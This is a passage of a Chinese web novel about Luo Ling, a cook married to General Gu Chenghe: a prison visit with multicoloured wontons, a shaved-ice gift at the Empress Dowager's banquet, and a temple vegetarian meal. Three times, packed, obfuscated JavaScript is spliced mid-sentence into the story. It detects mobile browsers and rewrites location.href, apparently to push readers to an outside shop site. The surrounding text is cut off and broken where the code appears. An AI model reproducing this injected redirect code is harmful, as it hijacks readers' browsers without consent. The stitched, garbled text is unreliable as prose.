顾承禾：“……？” 他，做饭？ 说是做饭，其实是要顾承禾出一份力。 罗姈要取雪水，但这个时辰了，地上树上的雪都不干净了，她便想要屋顶上的雪。 上房揭瓦这种要身手的活儿，舍顾承禾其谁啊！ 虽然不理解，但顾承禾还是听话照 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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罗姈自用一大口，面条既弹且韧，用牙齿咬断，梅花香缕缕萦绕，带着冰爽之气，呲溜一下就滑进肚子里。 一扫而空后，罗姈抬头：“我现在算是懂我爹的用意了。” 顾承禾不解。 “你啊，老实在家待着，多说多错。” 他还是不明白。 有时候罗姈真觉得他的脑袋是个坏了的水转筒车，推一下才转一下。 看来她非是要好好给他掰碎了讲明白不可。 “你说说，自出事以来，你拜了多少码头，打点了多少关系，有进展吗？” “为何朝会上我阿爹踩你一脚，反而拖住了石敢信的命？” 想来顾承禾自己琢磨要琢磨半天才绕得出来，罗姈干脆点明：“这件事你拜码头无用，陛下觉得他杀人他就杀了人，陛下觉得他没杀人他就没杀人。” 皇权在上，真相是不重要的。 顾承禾低下头，为官多年，他并非不懂这个道理。 “你也知道，此事究其根本，是兵权之祸。” 顾承禾双眸沉沉：“交出兵权绝不可能，非我族类其心必异，西戎只是暂时称降，绝非归顺。来日铁骑临下，若我不能披挂上阵，无颜面对凉州十万英魂。” 这便是最大的分歧了，武将主战，帝王主和。 罗姈想，罗正松估计也是主战，否则不会几次三番出手救他。 顾承禾十足痛心道：“我顾家历代忠心耿耿，不明……”不明为何陛下疑他至此。 罗姈理解他的未尽之语，看着他眼睛，定定道：“你可知道我阿爹和章相为何如此不对付？” “他俩脾性不投是真，惺惺相惜也是真。” “文官党派林立，而武将里你顾家独大，这便是病。” 是皇帝的疑心病。 所以……他必须做一个孤臣。 才能救下士，救自己。 罗姈安慰：“事缓则圆，这事儿拖得越久越好。” 顾承禾点头：“那我多避几日，太后寿辰也不进宫。” “太后寿辰到了？”罗姈闻言眼睛一亮，“我替你去啊！” 25. 百味馄饨 邹家在商行之所以如日中天，皆是仰仗族中出了一个大美人，送进宫里颇得圣宠，抬了娘家做了皇商。 此人正是邹洪的亲姑姑，宠冠后宫的丽贵妃。 罗姈想，她也可以寻摸一个宫中贵人做靠山呐，太后寿辰便是这进宫的好机会。 代表将军府送什么寿礼，现在成了她顶顶头疼的事。 期间有一个好消息—— 章明达上朝启奏称酒务司岁校，其中以如意楼为代表的一十二家酒楼酒坊私计酒曲、亏欠课利、酒帐不明，故奏请严查。 私计酒曲可是大罪，此折一递，这十二家酒楼酒坊即刻被封店盘查。 除此之外，朝廷又新开放了一批买扑名额。 罗姈本想凑凑热闹，但竞争者实在多如牛毛，且她的财力确实微薄，所以很识时务地打起了别的主意。 至少目前，邹家火烧屁股，没心思阻拦她买酒了不是。 对了，还漏了一个更大的好消息—— 听说邹家小公子邹洪闲的没事上山打虎，虎须子没拔下一根，被老虎揍了一顿，好在捡回一条小命，就是要在床上躺上半载。 不过罗姈可没心思给他放鞭炮，她正在各家瓷窑奔波。 听闻太后她老人家竟然也是个好酒之徒，罗姈打算投其所好。 自己虽然不会酿酒，但是做些特调什么的还是不难。 当然，仅是献酒未免简陋，美酒配美器，她还请易礼绘了一幅寿桃图，打算请匠人依样烧一套酒器共献。 只是近郊除了官窑，其他窑厂她都跑遍了，皆做不出她想要的样子。 “这釉里红的技艺只有银水河那头的唐家窑师傅才能做的来喔。”窑厂师傅如是告诉罗姈。 往银水河外就出了长安城了，路途遥远，但她还是决定走上一遭。 岂料到了临县，那唐家窑的师傅却不肯做她这门生意。 “我们工期排得很紧的，哪有时间哦，你要等得来先排上一个月吧。” 罗姈表示可以加钱。 “不是银钱的事儿，都是早早就定下的单子了，小娘子你去别的地方再找找吧。” 正在他们推拉之际，忽而迎面走来一个头顶高髻，通身气派的贵妇人。 “发生何事？” “东家。”瓷窑主事见来人立刻毕恭毕敬地见礼。 眼前这位就是唐家窑的东家唐娘子。 罗姈说明来意，唐娘子打量她的眼光很是欣赏：“常听我们家四郎念叨，原来百味坊的罗掌柜还是个这么年轻貌美的小娘子。” 那个偶尔蹦出两句蜀音，常来她百味坊的监生唐四郎正是这唐娘子的亲侄子，刑部侍郎是她的亲兄长。 那罗姈可没少听这位唐娘子的“传说”。 据说尚在蜀州故里时，这位唐娘子就定了亲，嫁过去后发现对方竟是断袖，一纸休书就拍上公堂。 随唐侍郎赴京以后也一直没有再嫁，独力操持生意二十年，成了京都赫赫有名的独身富媪，是众多商女的表率。 同为女子，深知这世道不易，唐娘子自然愿意倾力帮衬。 不过忙也不是白帮的，罗姈许出去一桌辣子宴和甜糖水换来这一套青花釉里红的精致酒器。 除此之外，她还顺道给顾承禾讨了一个去刑部大牢探监的机会。 顾承禾闻言诧异非常：“你说你用一桌吃食做交换，就能进天牢了？” 罗姈怡然点头，不以为意。 刑部天牢很难进吗？ 顾承禾沉默了，他先前求告多人都不得通融的规矩，就这么简简单单被一顿饭收买了？ 他百思不得其解。 其实就连罗姈自己都不知道自己找的关系有多硬，路子有多野，毕竟谁能想到年逾五十的唐侍郎是个究极“妹控”呢？ 当然主要还是揣摩圣意有所松动。 第二日罗姈和顾承禾一道去了刑部监牢。 到了皇城西的刑部街，再往里就不让马车进了，只能下车步行。 雨滴打在青石板上，顾承禾看着手里唯一一把油伞犯了难。 雨势不小，两人一伞，怎么走？ 罗姈见状直接把食盒往他怀里一塞，夺了伞果断撑开，将人往近前一搂，不由分说：“走！” 人高马大的顾承禾局促地缩在伞下，两人靠得无比近，还是不免有雨打了进来。 他悄悄落后半步，将更多的风雨挡在身后。 低头下望，这个角度能清晰看见罗姈的侧脸，鼻尖被冻得红红的，脸颊上沾满水雾，仿佛闪动着莹莹的光。 继拜堂以后，这还是第一次二人离得这么近。 回过神来，顾承禾掂了掂怀里的食盒，没话找话：“带的什么？” “稳当些，里头装了汤水。”罗姈嘱咐，顾承禾立刻一动也不敢动。 在狱卒的接引下，行过幽暗邃深的长廊，森森壁火下，他们终于见到了囚于狱中的石敢信。 如罗姈料想一般，其人生得高大壮硕，很有威武雄壮的军士风姿。 且一点儿不见忧虑，一派乐天：“将军，这位便是嫂夫人吧？” 真计较起来他与顾承禾还是同龄人，更是一起拼杀浴血、出生入死的过命交情，称兄道弟，说话素来无甚拘束。 抽动鼻尖，石敢信两眼冒光：“嫂夫人带了什么好吃的？” 罗姈笑笑：“听说你爱吃馄饨，我便亲手包了几个，你尝尝。” 说罢嫌弃地瞥了眼顾承禾，就知道这木头不晓世故，下士因他入狱，都不知慰劳慰劳，探监都空手来的，还好她有所准备。 狱卒行完方便后主动退下，留给他们说话的空间。 这可是入狱以来吃上的第一口热乎饭，石敢信捧着食盒，大老爷们激动地想落泪。 揭开盖子，五颜六色的“元宝”浮荡在碗中，罗姈细细道：“不晓得你的口味，便做了这百味馄饨。” 红皮鸭肉、黄皮笋虾、碧绿鳜鱼、白面豚肉……一共六色，简直叫人眼花缭乱。 这馄饨之名源于“天地混沌”，传说冬至吃一口馄饨，便能吞了阴浊，拨云见雾。 虽然冬至早过，但罗姈还是希望这一碗百味馄饨能给他带来吉祥。 石敢信还是第一次见到这么精致可爱的吃食，他小心翼翼地舀起一个红皮馄饨，生怕自己一身蛮力给这“小元宝”弄破了皮儿。 入口便是极为香醇的鸡汤，随后小元宝滋溜一下就滑进口中，落了肚肠。 哎呀！他还没尝出什么味儿呢！ 石敢信叫悔不迭，这次干舀一颗，放入口中仔细地品。 随着唇齿依合，那薄薄的馄饨皮一抿就裂，肉馅儿糜烂多汁，轻轻一抵就碎在口腔中，油润爽滑，咀嚼愈多愈有清雅的余味。 他一介武夫，粗人一个，辨不出细则，只觉得好吃！ 这红皮馄饨是罗姈取用红梅汁子调色，剁碎了鸭胸和羊脂豚膘包的，口味最是丰富。 石敢信迫不及待又捞起一颗黄澄澄的，这回他吃出来了，有虾有笋，清爽弹牙，咯吱咯吱一口一个，他喜欢！ 黄皮是罗姈搅了南瓜泥拌上的，还入了蜜，清甜口味。 石敢信一连将所有黄皮虾仁囫囵入了腹，才去舀那绿色的。 入口有菠菜的清香，随着舌尖一碾，鱼糜鲜香化了水一般泛出来。因着是拿绡纱般的翠绿皮子包出来的，玉似的透光，隐隐能瞧见里头的雪白，就好像一颗颗翡翠白玉。 每吃一颗就觉得自己仿佛少了一颗珍宝，但又停不下来…… 搅了搅碗中剩下的另外三色，石敢信是又馋又舍不得。 见他止了动作，罗姈忙问：“可是不合胃口？” 石敢信一脸丧气：“嫂夫人您做这么好吃干什么，再往后送来的‘泔水’我怎么吃得下去啊！” 倒成了她的不是，罗姈笑道：“你放心，这‘泔水’你吃不了几日了，出了狱我给你摆上一大桌好吃的！” 此时，一直抱臂不言的顾承禾幽幽道：“有这么好吃么？” 又一连吃了几个传统白面豚肉的，石敢信含混道：“那可真是太好吃了，比那馄饨西施包的还好吃，嫂夫人简直就是馄饨仙子！” 他都没吃过，顾承禾抿了抿唇。 说起这个，罗姈主动问起：“那天在长乐街究竟是个什么情状？” 提起这个石敢信就觉得晦气，他翻了个白眼：“只有老天爷知道我有多冤了。” 尽管已经在刑部重复无数遍了，还是怨气滔天：“那天我不过是去吃碗馄饨，有个混小子在我面前插队，我就把他教训了几句也没怎么的。我吃完了正要走呢，这混球死性不改，还调戏起那摆摊的小娘子了，我这才出的手。” “然后你就把人打了？”顾承禾厉声道。 “哪敢啊？”石敢信连忙解释，“我就轻轻‘拍’了他两下，至多落个皮外伤。” “结果他夜里就死了，这可真不是我干的。” “将军，您是了解我的，我要教训谁绝对真刀真枪的干一架了，怎么可能夜里敲闷棍啊……” 看石敢信这苦恼的样子，想来也是个头脑简单的，尚不知自己只是个过河小卒。 罗姈提醒：“先吃吧，一会儿凉透了。” 碗里还有紫色和蓝色的馄饨没吃呢，这两个颜色食欲差些，尤其是这个蓝色的，石敢信留到了最后。 紫皮的罗姈是用桑葚干泡水和的面，里头包的鸡丁，重辣口的。 也不知合不合口味。 罗姈一脸期待看石敢信的反应，对面频频点头。 这辣口 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罗姈聪慧，心思又细巧，稍一点拨就听出了弦外之音：“你是说……” 方才探望石敢信时他还无意透露了一个细节——死者缺了一根小指。 不是天生九指，而是被人砍断了。 结合流氓行径，此人常年混迹于赌坊无疑。 这种人会常借印子钱，而邹家是京城最大的印子钱债主。 偏就这么巧，顾家一出事，邹洪马上去为难罗姈。 邹家哪里来的消息？ 还是说这事儿……就是邹家干的。 沿着邹家这条线再往上寻，或许就藏着破局之法。 事情终于有了眉目，顾承禾心里的石头落了地。 “啊！” 气儿还没顺通畅呢，猝不及防被罗姈吓了一跳。 石板松动，她一不留神踩进了水坑里。 弄了一身脏污，还溅了顾承禾几个泥点子。 整洁干净的衣袍上，硕大的几个黑团，着实醒目。 “……” 回到家里，两人忙去更衣。 刚踏入院门，缓缓止住了脚步。 祖母……怎么也在？ 顾老夫人正抱着东狸玩儿呢，看见两人一身狼狈：“哎呦，这是怎么搞得？”指挥阿莲阿香，“快去给他们拿衣裳，赶紧换喽，当心着凉。” 没法子，两人只能在祖母的注视下一起被推进房间。 而现在这间房已经是独属于罗姈一个人的闺闼了，这里的一切顾承禾都很陌生。 他忽而不知道该往哪里走，转头就看见罗姈已经在脱了。 “失……失礼！”顾承禾立马转身避视。 她只是脱个外裳而已，什么都没露啊。 瞅着眼前手足无措还强装镇定的男人，罗姈有点儿忍俊不禁。 她的夫君是个古代人，还是个特别老实的古代人，这点让罗姈觉得颇有趣儿，她决定逗逗他：“毕竟是将军的寝居，主人家觉得我在哪儿换衣裳比较好？” “你、你进去。”说话都打磕巴，顾承禾还在装淡定，“我不会看的，罗娘子放心。” 看顾承禾泛红的耳尖，罗姈心想：谁吃亏还不一定呢。 男子换衣总是比女子快，顾承禾整理好腰带就一直在外间等着。 没有人说话，房间里太过安静，以至于衣料摩擦的窸窣声锲而不舍地钻进他耳朵里。 头一次觉得时间这么难捱，顾承禾等了又等，里间的声音终于停了。 顿了顿，他听到—— “我鞋袜忘拿了，顾承禾你帮我拿进来。” 语气太过自然，仿佛足衣不是一件贴身衣物。 顾承禾张了张口，还是认命地拿起。 一只手轻勾着，生怕多挨着一点儿布料。 “你衣裳都穿好了吗？”进来前，顾承禾再三确认。 “穿好了！”罗姈都等得不耐了。 顾承禾进来把鞋袜往罗姈怀里一扔，马上转身，红晕腾地升起：“你不是说穿好了吗？！” 努力将视线固定在屏风上的嫣红牡丹，但粉白的足尖还是在他脑海里反复闪过。 “是穿好了呀！” 罗姈十分委屈，自己穿得不能再齐整了，就差鞋袜了，这不等着他呢嘛。 刚擦洗过，足背上残留着细细的水珠，小巧玲珑，粉白的颜色，从足尖到足踝都是粉白的，再往上估计也是粉白的…… 想到这些细节，顾承禾觉得自己有点头晕。 盥架上，吸饱了水的巾帕压在他的心头。 他，不敢回头…… 26. 酥山 红砖绿瓦，宫苑深深。 太后寿辰，阖宫上下富丽装点，西华门外香车绵延。 将军府的车马亦在其中，罗姈今日盛装出行，挑了一身丁香云纹长裙，梳了一个气派高髻，头顶的珍珠花冠比她厨房的铁锅还重。 扶着脑袋，掀开车帘，望向浩浩荡荡看不到头的贺寿队伍，心里头直打鼓，她这寿礼能让太后另眼相看吗？ 朝廷命妇们都被安置在偏殿等候宴席开场，罗姈在里间坐了一会儿，周围皆是三五成群的贵妇人聚在一处闲谈，她从未参加过妇人交际，一个人也不认识，孤坐了半晌，决定去外头透透气。 陛下事母至孝，虽然今年不是整寿，仍然为太后操办得十分用心。 就连御花园里的花儿都换成了太后最喜欢的君子兰，也不知后苑修造处的宫人们怎么做到的，这么冷的冬天，能让这些娇贵的名花开得这样好。 罗姈独自行走于寒风中，照拂每一株盛情接待她的花儿们。 片晌，突然有一宫人匆匆行来，与负责接引她的宫人窃窃耳语。 然后没过多久，负责接引罗姈的宫人就称腹痛，慌张离开。 罗姈没多想，自在玩耍。 走着走着就偏了位置，不知怎的绕到另一处偏殿后门了。 她想进去请人帮忙指路，然后就听到一墙之隔外有人交谈—— “母后，她真是欺人太甚了！把您逼来这里，还敢将银丝炭换成黑炭！” 另一人无奈悲叹：“现下六局已皆由她掌控，中宫之权唾手可得。”轻笑一声，“换炭？来日换位也未可知啊……” “您为什么不向父皇告发呢？” “夫妻离心，再说也不过是多添嫌恶罢了。” 沉默半晌，对面终道：“那银丝炭儿臣宫里还有，儿臣给您送来。母后您还缺什么，儿臣一并给您送来。” “昭云，母后什么都缺，但你什么都不必送。”隔了很久，声音里的哭腔抑制不住，“我的孩子，母后无能，苦了你了……” 昭云公主…… 那不就是差点让顾承禾做了驸马都尉的小公主嘛。 罗姈趴在墙根儿，脑子正飞速运转，身后终于找到了她的宫人气喘吁吁：“罗夫人您怎么跑这儿来了？宴会就要开始了！” …… 四方殿上，皇帝、太后皆坐高堂，贵妃居侧，不见皇后。 礼乐起，歌舞升。 流水儿一样的玉致珍馐送到眼前，紫驼之峰出翠釜，水精之盘行素鳞[1]。不愧是宫宴，真真是豪奢。 罗姈满心欢喜地夹起一块粉蒸牛肉，天知道她有多久没吃上这一口了。 在古代牛要用于耕种，若是私自宰杀，要处刑罚。即便是病牛老牛也是需要报官查验后方能宰杀售卖，而本朝的律令更严，致使牛价甚至远高于羊价。 难能吃一次免费牛肉，罗姈激动非常。 唔……一般。 太老了，都塞牙。 正当她准备再夹一块炖牛肉试试时，内侍高声传唤： “皇后娘娘到——” “昭云公主到——” 所有人起身行礼，经过她时，罗姈偷偷抬眸。 皇后亦不着痕迹地扫了她一眼，昭云公主则是完全不加掩饰地蹙眉。 罗姈将头垂得更低。 埋在袖子里，偷偷地嚼。 唉……这头牛也白死了。 高坐上，太后慈眉垂问：“皇后不是身子不适吗？” 皇后妥帖回答：“小毛病罢了，母后寿辰儿臣怎可缺席。” 她若不来，真叫那丽贵妃鸠占鹊巢了，谁还将她这个皇后放在眼里。 侧坐的丽贵妃脸色果然一暗，很快恢复笑颜：“太后，臣妾为您准备的寿礼，现在就呈上来吧。” “好好好。”太后连连点头，很是期待。 红珊瑚树一座、粉彩折腰碗一套、金银怀表一对、玉如意一柄…… 每单拎一样都价值不菲，而丽贵妃居然凑了整整一十八件。 相形之下，皇后亲手绣的祈福佛经就太不够看了。 顺着势，各家也都开始献礼。 轮到罗姈时，旁边的宫人似乎比她还紧张。 她回头一看，红绸下酒器的高度似乎不对啊…… 宫人许是太紧张了，绸布并没有盖整齐，透着缝儿，罗姈看到瓶腹上的花样变成了黑色。 她准备的青花釉里红瓶上的寿桃应是成熟的黄绿色才是。 心下一凛，罗姈拦住宫人：“我自己上去。” 很快就轮到她。 “镇国将军夫人罗姈献礼——” 随着内侍的传唤，罗姈孤身一人走上大殿。 丽贵妃挑眉训斥宫人：“你们怎么当得差？罗夫人的寿礼呢？” 宫人欲前往查看，罗姈抬手制止，正对上丽贵妃的眼睛，她定定道：“臣妇准备的寿礼，还没有完成。” 掷地有声，惊起一阵喧哗。 哪有没准备好就来参加寿宴的，这也太小家子气了。 皇帝也皱眉：“罗氏……” 太后笑容不改，打断了皇帝的问责：“听她说完。” 罗姈微微一笑，直面太后：“听闻太后娘娘好酒喜冰，臣妇不才，略懂一些庖技，故而想向太后娘娘进献一道私制冰品。”余光瞥向丽贵妃，“冰品易损，需当现制，不能提前制备望太后海涵。” 语气四平八稳，丝毫没有被换寿礼的慌张。 丽贵妃立即阻拦道：“冬日饮冰有伤太后凤体……” “欸——”太后当即放下酒杯，“哀家身体好得很，刚用了羊肉火力大，正想用些凉物降降火气。” 皇帝最是了解自己的母后的，一辈子贪凉好吃，平日约束，今日过寿还不让尽兴那是万万不行的。 于是允准去御膳房制作。 半个时辰后，四个宫人抬着一个半人高的巨型酥山走进大殿。 青山皑皑，一进来就带来一股沁凉舒爽的清风，各色鲜果蜜饯错落堆叠，紫苏草叶点缀其中，看着就十分喜人。 罗姈并没有着急上前，反而是从怀中掏出来一个小瓷瓶，当着宴席上所有人的面，将其中液体洒在酥山之上。 “‘凉山采雾’献与太后，愿太后青山不老，福寿永延。” 炭火烧得太燥，太后心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16691678|185458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 热迫不及待要吃，宫人们立即分装。 乳白的酥油一触舌尖便绵绵地化开，是炎夏记忆里冰爽又甜蜜的滋味。 制作时罗姈特意保留了一些大一点的碎冰，将它们含在舌尖慢慢瓦解，竟然反上一些清凉的酒香，余韵悠长。 这可不是一般酥山的味道。 遍赏百酒的太后也品不出真身，疑问：“里头用的什么酒？” 罗姈：“回太后，用的法青。” 法青酒是酒务司酿售最差的酒，绝不是这般勾人的味道。 太后将罗姈的瓷瓶拿来，当年她在市井卖酒，任何酒的来历都瞒不过她。 嗅闻后，太后唇角轻勾：“你在里头加了什么？” 罗姈不言，直接将酒方呈上。 柑橘汁、柠檬汁、薄荷水、绿茶、法青酒……多种材料方能得此风味，尤其还要冰镇才好。 罗姈之前在尝试调味时试过多种名酒但都不合心意，最后只剩这最难喝的法青，她灵光一现，有些饮品它就是“常温似马尿，冰镇是国窖”。 没想到这随手一试还真成了，既有水果的馥郁又不失酒的凛冽，救活了酒务司根本卖不出去的法青。 今日本来是要正常献酒的，奈何丽贵妃作梗，要拿她出气，换了她的酒。没办法只有用一招现制冰品将寿礼摆在台前，用的都是宫中食材，除了问题也要问责管理尚食的丽贵妃，这才化解此局。 不过这事儿没完呢。 得了好酒，太后大为开怀，问罗姈想要什么赏赐。 罗姈低头：“此酒方虽为臣妇所制，但臣妇的食店却无能售卖，令好酒蒙尘，实在汗颜。” 太后明了一笑：“那哀家就破格赐你正店之资，你既进献‘凉山采雾’，这酒哀家看就叫‘雾里青’好了，许你独售。” 御赐独家售酒权？！ 不过她这不算自酿，只是特调，届时还是要向酒务司进货，那也是泼天的富贵了！ “还不起身谢恩？”皇帝提醒。 “臣妇还缺。”罗姈紧紧伏地。 皇帝皱眉，这罗氏女竟如此得寸进尺。 太后也疑惑：“还缺什么？” “什么都缺。”罗姈抬头定定看向皇后。 什么都缺…… 皇后一怔，随即递话：“罗夫人何意？” 罗姈站起来，一五一十将邹洪的行径告发。 大殿之上，一时寂静。 竟然有人敢将如日中天的邹家告到御前。 太后闻言震怒，她自是商女出身，最恨这些卑劣经营的腌臜手段，当即下令严查邹氏名下所有商户与各行商会。 后面再有皇后的推波助澜，相信丽贵妃也逍遥不了几日了。 过程虽然曲折了些，幸事情最终办得团圆。 罗姈走在宫道上，心情舒畅，犹如风行水上。 “罗夫人——” 居然有人叫她。 罗姈回首，比美貌先镌刻进记忆里的是一阵花香。 来人端庄见礼：“妾身方氏愉贞，久仰罗夫人盛名，今日一见果然不同凡响。三日后各家姐妹约了一同敬香踏春，罗夫人可愿同往？” 27. 素斋 她刚穿来时罗正松就已经被贬了官，在黄州没有那么多高门贵女，来了京城她又忙着经营百味坊，这些士族吟诗作对、放灯斗草的交际她一次也没参加过。 准确来说，是没有人邀她。 这还是第一次被邀请，虽然罗姈对佛啊道啊什么的都不感兴趣，但她还是对这个活动兴致盎然。 到了约定的日子，罗姈俯身下车，抬眼一望，大大小小的马车来了近二十辆，西陀山下一时全是脂粉香。 山上严寒，前些天下的雪还没有化，满目还是一片白花花的芦苇荡。 好在山道上的雪是扫净了，毕竟开春祈福的香客真的很多。只是道路不宽，所以她们的马车只能一辆一辆上。 在山脚等待的间隙，方愉贞主动来寻罗姈。 怕她不熟面孔，方愉贞挨个儿给罗姈介绍今日来的都是哪家夫人娘子，极尽细致。 樱唇一张一合，徐徐如兰。 凝着这张美人面，罗姈的心思便丢了大半，这世上还有这般温柔的美娇娘，她一个女子都要被迷住了。 若说逢莺美得像高洁的水仙，那方愉贞就像优雅的蝴蝶兰，一举一动都是大家闺秀的典范。 她俩站在一处聊着那些夫人娘子，同时也偶有女郎打量她们。 好奇的、疑惑的、欣赏的……各有不同。 直到要上马车了她们才依依惜别。 山道多碎石，颠得人头疼，下了车又要去敬香，更是熏得人发晕。 直到坐下开始布施斋饭，罗姈才觉得自己活了过来。 一道道清汤小菜铺开，一下子就心旷神怡了。 罗姈先将筷子伸向了盘子里的瓠瓜，瓠瓜入口清爽甘甜，肉质鲜嫩，拿酱油、酢、盐入的底味，并用素油细细煎过。 其中同炒的面筋又是另一种口感，孔隙里吸饱了素高汤的鲜甜，细细回味，应是拿多种香蕈熬煮成的。 罗姈啧啧称奇：“这菜居然还有肉的香味！” 坐在一旁的方愉贞掩唇而笑：“这道菜名就叫假煎肉。” 原是因为斋饭严格忌荤腥忌五辛，一些香客们久而寡味，故而庵堂里的姑子便想了这么个主意。 后来坊间也有拿豚油煎的，做出来的假煎肉油润丰腴，更有荤香。 还以为素斋都素得刮油呢，没想着还倒别有一番妙处。 这胃口一下子就被打开了，罗姈又去拿了一个素夹馍。 白馍煎得表面微黄，脆而不油，酥而不腻，轻轻咬下去，极为韧香，就是空口吃也是一种美味。 但显然它是一个有追求的馍，它努力地将香蕈、冬笋、松仁、胡桃安全地送入食客口中，让所有人充分感受叠加内馅儿带来的另一重美味。 清新的素丁、甘香的果仁、质朴的白面，混合在一起，一口就让人情不自禁地露出微笑。 罗姈赶紧帮方愉贞也拿了一个：“快尝尝！” 不似她恣意随性，方愉贞用得极为小口，一点点地品尝，仿佛和手里的素夹馍说悄悄话一般，静谧端庄。 赏心悦目、秀色可餐。 相形见绌，罗姈暗暗学着人家斯文的端庄做派。 “罗夫人瞧着和方夫人很是亲近呢。”搭言的是同席的户部尚书夫人张氏。 “我们一见如故。”罗姈十分开怀。 谁能不喜欢方愉贞呢？ 待人接物体贴周全，人又生的美，谁能忍住不与之亲近？ “也算是天作姻缘，各成好事了，现在看你们如今各嫁的如意郎君就是最合适不过的。”大理寺寺正夫人李氏也凑过来，“顾将军威仪，罗夫人率性。王三郎端方，方夫人温柔。两对儿简直就是天作之合呀！” 这话听着有些奇怪，为什么要拿她们的姻缘论在一处，但罗姈也没多想。 “难得你们脾性也相投，亲如姐妹一般。要我说待日后有了孩子，不如直接定个娃娃亲，亲上加亲。” 孩子？她和顾承禾上哪儿偷一个来？ 罗姈心虚地干笑，没注意到方愉贞也顿了一息。 聊起孩子，她们这桌一下子就热闹起来。 尤其罗姈和方愉贞还是桌上唯二没有子嗣的，诸位夫人都十分热情地传授起各自备孕的秘方诀窍。 罗姈埋头喝起姑子刚盛来的冬笋豆腐汤，左耳朵进右耳朵出，将注意力全都放在食物上。 焯过水的冬笋净了涩气，再细细撕成条，用冰糖慢慢熬成焦褐色，扔到锅里和煎好的老豆腐同煮，煮成一锅澄亮的黄汤。 细细地尝，里头还搁了香榧子末，浓郁的蒸气浮到鼻尖，是很特别的一道素汤。 清香甜润，既有笋的山野亦有豆腐的油滑，尤其香榧子的特殊香气，呷一口记忆悠长。 察觉到方愉贞似乎也心不在焉，罗姈便赶紧岔开话题：“各位姐姐快趁热用一用这冬笋豆腐汤，做这汤的姑子手艺极好。” 连食店掌柜都这样夸赞，各位夫人们马上移了注意。 这时隔座一位上了年纪的富态夫人也喝了一口：“滋味差强人意，这素斋还是略略寡淡了些。” 罗姈记得方愉贞仔细介绍过，这位是禁军统领孙鹏举的夫人，其夫弟孙鹏兴承接了前朝的酒楼生意，成了如今的燕云楼。 统领夫人说罢拿出一个绣满金线的香囊，捏一撮黑粉撒进汤里，状似哀叹：“我如今吃得口味重，是顿顿都离不了它了……” 旁边的夫人立马帮衬抬举：“一近你身我就道是哪儿来的胡椒香，好哇真是不得了，这么大一包胡椒，也就是你家拿的出了。” 还有人打趣：“都晓得你们孙家酒楼胡椒香，直接养出一个胡椒夫人来了。” 胡椒金贵，哪里是顿顿吃得起的，在场人无不艳羡。 “胡椒夫人”抬头挺胸，又大方地撒了一把，悠然自得用了一口自己这碗“金素汤”。 嗯……果然成了倍的美味。 这香榧子和这么多胡椒撞在一起能不能好喝罗姈不知道，但她也眼馋，这么大一包胡椒，够她百味坊用上一个月了。 用完斋饭，不少夫人去了静房小憩。 罗姈没有午睡的习惯，方愉贞便领着她在观里溜达消食。 上元节将近，道观早早为节庆做起了布置。 闲散香客们围着后山的老银杏正在猜谜，罗姈拉着方愉贞也去凑热闹。 她兴致勃勃地摘下一个谜题，正想大大展示一番，凝神一看头都大了。 上书：「当年子卿去北边，不知去了几多年，分明记得天边月，二百三十五番圆[1]。」 不是字谜诗谜，是算谜啊…… 她最讨厌算术了！ 算了算了，世上无难事只要肯放弃。 罗姈正要把牌子挂回去，方愉贞轻轻道：“我看看。” “月每三十一圆，二百三十五番就是七千又五十天，折成年便是……一十九年。” 罗姈张大了嘴：“……你就这么心算出来了？” 方愉贞含蓄一笑。 罗姈又摘了一个给她。 「青莲居士街上走，提壶去买酒，遇店加一倍，见花喝两斗，三遇店和花，喝光壶中酒，试问酒壶中，原有多少酒[2]？」 思忖片刻，方愉贞柔柔道：“原有一又四分之三斗。” “这谜题逆推好难的，夫人真聪明。”旁边人惊道。 这算术天赋，罗姈几乎要顶礼膜拜。 有香客指道背面挂着更难的谜题，罗姈看方愉贞应对几乎不假思索，对她充满信心，立即就要去摘那更难的。 “那边路窄，你小心。”方愉贞嘱咐。 挂得还有点儿高，罗姈踮起脚够了够没捞着，后面是一个陡坡，她往前挪了挪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16710561|185458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，小跳了下，就差一点儿了。 再跳一次，拿到了！ 落地的一瞬，抓着方愉贞的小臂，喜气洋洋：“愉贞，看！” 下一息就乐极生悲。 晃了一下，没站稳，方愉贞手疾眼快地来扶她，失去重心，两人一同滚了下去。 摔在地上的那一瞬间，罗姈感觉自己的大脑被掏空了，路人的高呼声越来越远，她却完全失去了思考的能力，耳边只余嗡嗡蜂鸣。 坡下是半壁断崖，很幸运，她落在了一块伸出来的微凸的平台上，有植被有雪，摔得不重。 方愉贞则没那么幸运了，她落的位置更深，好在人也还清醒，应该也伤得不重。 多说话只会浪费力气，确认对方平安后，两人缩进崖腔内等待救援。 山雪寂寂，一时只有飞鹰振翅掠天之声。 靠着满壁烟萝，罗姈眼看天色由青白转为沉暮。 终于，头顶上开始有窸窸窣窣的声音。 是救援来了！ 罗姈抬头一看，赫然是顾承禾应声跳下。 “你怎么来了？”罗姈疑问。 摘掉她头顶的草叶，顾承禾没好气道：“来救你。” 说着摘掉自己腰间的绳子往罗姈腰上绑，罗姈还不忘提醒：“愉贞还在下面。” 顾承禾沉默地点点头：“你先上去。” 